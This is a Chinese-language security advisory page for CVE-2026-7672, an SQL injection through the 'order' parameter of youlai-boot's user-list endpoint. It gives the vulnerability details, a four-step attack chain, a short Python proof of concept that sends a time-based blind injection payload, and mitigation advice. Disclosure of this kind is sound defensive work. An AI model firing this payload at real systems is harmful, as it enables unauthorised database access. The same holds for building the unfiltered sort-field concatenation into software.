IPBUF安全漏洞报告
English
CVE-2026-7672 CVSS 6.3 中危

CVE-2026-7672: youlai-boot SQL注入漏洞

披露日期: 2026-05-03

漏洞信息

漏洞编号
CVE-2026-7672
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
youlaitech youlai-boot

相关标签

SQL注入youlai-boot中危Web安全Java

漏洞概述

Youlaitech开发的youlai-boot框架在2.21.1及之前的版本中存在严重安全漏洞。该漏洞位于UserController组件的getUserList函数,由于未对用户输入的order参数进行严格的过滤和预编译,导致攻击者可以构造恶意SQL语句实施注入攻击。攻击者仅需低权限即可远程利用此漏洞,无需用户交互,可能造成敏感数据泄露、数据篡改或服务中断。厂商已接到通知但尚未回应,请务必关注修复动态。

技术细节

该漏洞的根源在于Java后端代码在处理用户列表查询请求时,直接将前端传来的`order`参数拼接到了SQL查询语句中,未进行任何安全过滤。具体受影响文件为`src/main/java/com/youlai/boot/system/controller/UserController.java`中的`getUserList`方法。攻击者利用该漏洞,可以通过构造特定的HTTP请求,在`order`参数中注入恶意SQL片段(如子查询、报错注入或时间盲注Payload)。由于系统未使用预编译语句或白名单校验排序字段,数据库会直接执行注入的恶意代码。攻击者只需低权限账号即可远程发起攻击,无需用户交互。成功的利用可导致数据库敏感信息泄露(如用户凭证、业务数据),甚至通过特定的数据库环境实现写入操作,影响系统的机密性、完整性和可用性。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标系统运行的是youlaitech youlai-boot框架,并定位到用户管理接口。
STEP 2
步骤2:构造恶意请求
攻击者利用获取的低权限账号,向getUserList接口发送HTTP请求,并在order参数中注入SQL语句。
STEP 3
步骤3:执行注入攻击
后端直接将order参数拼接到SQL语句中执行,数据库解析并运行攻击者注入的恶意代码。
STEP 4
步骤4:数据窃取或破坏
根据注入的Payload,攻击者提取数据库敏感信息,或利用数据库特性进行进一步的破坏操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Replace with actual target) target_url = "http://target-ip/api/system/user/list" # Payload for SQL Injection in 'order' parameter # Demonstrating a time-based blind injection attempt payload = { "order": "IF(1=1,SLEEP(5),id)" } try: print("[+] Sending payload to target...") response = requests.get(target_url, params=payload, timeout=10) # Check if the response time indicates successful execution (SLEEP) if response.elapsed.total_seconds() >= 5: print("[!] Vulnerability confirmed: The application responded with a delay (SQL Injection successful).") else: print("[-] Vulnerability not detected or payload invalid.") except Exception as e: print(f"[!] Error during request: {e}")

影响范围

youlaitech youlai-boot <= 2.21.1

防御指南

临时缓解措施
建议立即限制对`/api/system/user/list`接口的外网访问,或在网关层增加针对`order`参数的过滤规则,拦截包含SQL关键字(如UNION, SELECT, SLEEP等)的请求。同时应加强对数据库账户的权限控制,最小化应用连接数据库的操作权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表